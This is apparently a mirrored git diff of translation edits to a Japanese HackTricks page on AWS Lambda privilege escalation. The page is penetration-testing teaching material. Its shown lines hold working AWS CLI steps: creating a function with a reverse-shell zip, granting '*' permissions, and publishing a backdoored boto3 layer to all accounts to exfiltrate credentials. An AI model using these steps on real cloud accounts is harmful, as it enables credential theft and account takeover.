mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-06 17:53:37 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains
This commit is contained in:
@@ -13,7 +13,7 @@ lambdaに関する詳細情報は以下を参照してください:
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
**`iam:PassRole`, `lambda:CreateFunction`, および `lambda:InvokeFunction`** 権限を持つユーザーは、特権を昇格させることができます。\
|
||||
彼らは**新しいLambda関数を作成し、既存のIAMロールを割り当てることができ**、そのロールに関連付けられた権限を関数に付与します。ユーザーはその後、**このLambda関数にコードを書いてアップロードすることができます(例えばrev shellを使用して)**。\
|
||||
彼らは**新しいLambda関数を作成し、既存のIAMロールを割り当てることができ**、そのロールに関連付けられた権限を関数に付与します。ユーザーはその後、**このLambda関数にコードを書いてアップロードすることができます(例えば、rev shellを使用して)**。\
|
||||
関数が設定されると、ユーザーは**その実行をトリガーし**、AWS APIを通じてLambda関数を呼び出すことで意図したアクションを実行できます。このアプローチにより、ユーザーはLambda関数を介して間接的にタスクを実行し、それに関連付けられたIAMロールによって付与されたアクセスレベルで操作することができます。\\
|
||||
|
||||
攻撃者はこれを悪用して**rev shellを取得し、トークンを盗む**ことができます:
|
||||
@@ -79,7 +79,7 @@ cat output.txt
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
前のシナリオと同様に、**`lambda:AddPermission`** の権限があれば、**自分に `lambda:InvokeFunction`** の権限を付与することができます。
|
||||
前のシナリオと同様に、**`lambda:AddPermission`** の権限があれば、自分に **`lambda:InvokeFunction`** の権限を付与することができます。
|
||||
```bash
|
||||
# Check the previous exploit and use the following line to grant you the invoke permissions
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
@@ -99,7 +99,7 @@ aws lambda create-function --function-name my_function \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
DynamoDBがAWS環境で既にアクティブであれば、ユーザーは**Lambda関数のイベントソースマッピングを設定するだけで済みます**。ただし、DynamoDBが使用されていない場合、ユーザーは**ストリーミングが有効な新しいテーブルを作成する必要があります**:
|
||||
もしDynamoDBがすでにAWS環境でアクティブであれば、ユーザーはLambda関数のために**イベントソースマッピングを設定する必要があります**。しかし、DynamoDBが使用されていない場合、ユーザーは**ストリーミングが有効な新しいテーブルを作成する必要があります**:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -107,7 +107,7 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
現在、**イベントソースマッピングを作成することによってLambda関数をDynamoDBテーブルに接続することが可能です**:
|
||||
今、**イベントソースマッピングを作成することによってLambda関数をDynamoDBテーブルに接続することが可能です**:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
@@ -122,7 +122,7 @@ aws dynamodb put-item --table-name my_table \
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
この権限を持つ攻撃者は**自分自身(または他の人)に任意の権限を付与することができます**(これはリソースベースのポリシーを生成してリソースへのアクセスを付与します):
|
||||
この権限を持つ攻撃者は**自分自身(または他の人)に任意の権限を付与することができます**(これはリソースへのアクセスを付与するためのリソースベースのポリシーを生成します):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -139,7 +139,7 @@ aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
```
|
||||
**潜在的影響:** 機密情報への潜在的アクセス。
|
||||
**潜在的影響:** 機密情報へのアクセスの可能性。
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
@@ -170,7 +170,7 @@ aws --profile none-priv lambda update-function-configuration --function-name <fu
|
||||
他のスクリプト言語には、使用できる他の環境変数があります。詳細については、以下のリンクのスクリプト言語のサブセクションを確認してください。
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
{{#endref}}
|
||||
|
||||
#### Lambdaレイヤーを介したRCE
|
||||
@@ -202,20 +202,20 @@ print(json.dumps(sys.path, indent=2))
|
||||
|
||||
#### 悪用
|
||||
|
||||
`lambda:UpdateFunctionConfiguration`の権限を悪用して、**新しいレイヤーを**lambda関数に**追加する**ことが可能です。任意のコードを実行するには、このレイヤーに**lambdaがインポートするライブラリを含める必要があります。lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、lambdaが**すでにレイヤーを使用している**可能性があり、そのレイヤーを**ダウンロード**して**自分のコードを追加**することができるかもしれません。
|
||||
`lambda:UpdateFunctionConfiguration`の権限を悪用して、**新しいレイヤーを**lambda関数に**追加する**ことが可能です。任意のコードを実行するためには、このレイヤーに**lambdaがインポートするライブラリを含める必要があります。lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、lambdaが**すでにレイヤーを使用している**可能性があり、そのレイヤーを**ダウンロード**して**あなたのコードを追加**することができるかもしれません。
|
||||
|
||||
例えば、lambdaがライブラリboto3を使用していると仮定すると、これはライブラリの最新バージョンを持つローカルレイヤーを作成します:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
`./lambda_layer/boto3/__init__.py`を開き、**グローバルコードにバックドアを追加**できます(例えば、資格情報を抽出する関数やリバースシェルを取得する関数など)。
|
||||
`./lambda_layer/boto3/__init__.py` を開き、**グローバルコードにバックドアを追加**します(例えば、資格情報を外部に送信する関数やリバースシェルを取得する関数など)。
|
||||
|
||||
次に、その`./lambda_layer`ディレクトリをzip圧縮し、**新しいlambdaレイヤーを**自分のアカウントにアップロードします(または被害者のアカウントにアップロードしますが、その場合は権限がないかもしれません)。\
|
||||
また、/opt/python/boto3を上書きするために、pythonフォルダを作成し、ライブラリをそこに置く必要があります。さらに、レイヤーはlambdaで使用される**pythonバージョンと互換性がある必要があります**。アカウントにアップロードする場合は、**同じリージョン**にある必要があります。
|
||||
次に、その `./lambda_layer` ディレクトリを zip し、**新しいラムダレイヤーを**自分のアカウントにアップロードします(または被害者のアカウントにアップロードしますが、その場合は権限がないかもしれません)。\
|
||||
python フォルダを作成し、ライブラリをそこに置いて /opt/python/boto3 を上書きする必要があることに注意してください。また、レイヤーはラムダで使用されている**Pythonバージョンと互換性がある必要があります**。アカウントにアップロードする場合は、**同じリージョン**にある必要があります。
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
アップロードしたlambdaレイヤーを**すべてのアカウントからアクセス可能にする**:
|
||||
今、アップロードしたlambdaレイヤーを**すべてのアカウントからアクセス可能に**します:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
|
||||
Reference in New Issue
Block a user